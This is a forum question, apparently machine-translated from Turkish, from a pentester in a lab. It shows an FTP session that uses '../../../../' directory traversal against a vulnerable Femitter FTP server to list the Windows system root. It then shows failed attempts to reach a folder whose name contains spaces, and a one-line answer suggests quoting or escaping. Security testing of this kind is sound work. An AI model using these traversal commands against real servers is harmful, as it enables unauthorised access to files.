Kapalı bir referans ortamında yaptırım uygulanan bir pentest yürütüyorum ve görünüşte basit bir sorun üzerinde mücadele ediyorum, şu anda çözemiyorum.
MS Windows işletim sisteminde çalışan savunmasız bir Fermitter FTP sunucusuna karşı bir dizin geçişi saldırısı gerçekleştirmeye çalışırken, sistem kökünde bir LIST yapmak mümkündür (adresler ve içerik listeleri burada yalnızca başvuru için değiştirilmiştir):
# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root):
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx 1 ftp ftp 0 Sep 23 2015 AUTOEXEC.BAT
-rw-rw-rw- 1 ftp ftp 0 Sep 23 2015 CONFIG.SYS
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 Documents and Settings
dr--r--r-- 1 ftp ftp 0 Sep 23 2015 Program Files
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 WINDOWS
226 File sent ok
Ancak, beyaz boşluklar içeren bir klasörün içeriğini listelemek istersem, Documents and settings
boşlukların yok sayıldığı için dizin içeriğini listeleyemiyorum.
ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
Zaten farklı FTP istemcileri (Linux ve Windows'da CLI ve GUI) kullanmayı denedim ve beyaz boşlukları görmezden geliyorlar veya dizin geçişine izin vermiyorlar.
Ayrıca, komutları doğrudan ham sunucuya HEX biçiminde göndermek için ftplib'i kullanarak ilk ham soketlerde ve sonra ftplib kullanarak Python'a saldırı komut dosyası oluşturmayı denedi, ancak başarılı olamadı.
Birkaç saat boyunca çalışmak bir çalışma çözümü vermedi (evet, işe yaramayan birçok seçenek vardı), bu yüzden burada aynı sorunu yaşayan biri var. Eminim, bu ilk kez beyaz boşluklu bir dizin geçişine ihtiyaç duyulmaz.
\
Dizin dizesiyle boşluklardan kaçmayı veya alıntı yapmayı deneyin